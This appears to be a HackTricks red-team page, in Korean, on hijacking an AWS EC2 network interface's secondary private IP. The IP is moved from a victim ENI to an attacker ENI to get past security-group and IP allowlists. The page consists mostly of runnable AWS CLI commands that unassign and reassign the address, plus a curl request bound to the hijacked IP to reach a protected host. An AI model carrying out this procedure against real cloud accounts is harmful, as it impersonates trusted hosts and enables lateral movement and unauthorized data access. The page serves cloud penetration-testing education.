AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

악용 ec2:UnassignPrivateIpAddressesec2:AssignPrivateIpAddresses로 victim ENI의 secondary private IP를 탈취하여 동일한 subnet/AZ의 attacker ENI로 옮깁니다. 많은 내부 서비스와 security groups는 특정 private IP로 접근을 제어합니다. 해당 secondary address를 옮기면, 공격자는 L3에서 신뢰된 호스트로 가장하여 allowlisted 서비스에 접근할 수 있습니다.

Prereqs:

  • 권한: victim ENI ARN에 대한 ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses, 그리고 attacker ENI ARN에 대한 ec2:AssignPrivateIpAddresses.
  • 두 ENI는 동일한 subnet/AZ에 있어야 합니다. 대상 주소는 secondary IP여야 합니다 (primary는 할당 해제할 수 없습니다).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

Steps:

  1. victim ENI에서 secondary IP를 선택합니다
bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. 보호된 호스트가 해당 IP만 허용하도록 확인하세요 (멱등). 대신 SG-to-SG 규칙을 사용하는 경우에는 건너뛰세요.
bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. 기준: attacker instance에서 PROTECTED_HOST로의 request는 spoofed source 없이는 실패해야 한다 (예: SSM/SSH를 통해).
bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. victim ENI에서 secondary IP 할당을 해제합니다
bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. 공격자 ENI에 동일한 IP를 할당합니다 (AWS CLI v1에서는 --allow-reassignment를 추가)
bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. 소유권 이전 확인
bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. 공격자 인스턴스에서, hijacked IP에 source-bind하여 보호된 호스트에 접근한다(해당 IP가 OS에 구성되어 있는지 확인; 구성되어 있지 않다면 ip addr add $HIJACK_IP/<mask> dev eth0로 추가).
bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

영향

  • 같은 subnet/AZ 내에서 ENIs 간에 secondary private IPs를 이동시켜 VPC 내의 IP allowlists를 우회하고 신뢰된 호스트로 가장할 수 있습니다.
  • 특정 source IPs로 액세스를 제한하는 내부 서비스에 접근하여 lateral movement 및 data access를 가능하게 합니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기